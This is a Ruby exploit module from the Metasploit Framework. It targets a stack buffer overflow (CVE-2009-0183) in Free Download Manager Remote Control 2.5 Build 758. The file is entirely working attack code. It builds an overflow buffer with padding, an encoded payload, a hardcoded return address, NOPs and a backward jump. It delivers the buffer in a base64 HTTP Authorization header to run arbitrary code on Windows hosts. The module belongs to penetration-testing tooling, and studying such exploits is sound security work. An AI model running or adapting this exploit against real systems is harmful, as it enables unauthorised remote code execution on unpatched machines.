## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Free Download Manager Remote Control Server Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Free Download Manager Remote Control 2.5 Build 758. When sending a specially crafted Authorization header, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2009-0183' ], [ 'OSVDB', '51745' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x0d\x0a", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Privileged' => true, 'Platform' => 'win', 'Targets' => [ [ 'Free Download Manager 2.5 Build 758', { 'Ret' => 0x0040ae0f } ], # fdmwi.exe ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 2 2009')) end def exploit sploit = rand_text_alpha_upper(1012 - payload.encoded.length) + payload.encoded sploit << [target.ret].pack('V') + make_nops(4) + [0xe8, -575].pack('CV') print_status("Trying target #{target.name}...") send_request_raw({ 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64(sploit)}" } }, 2) handler disconnect end end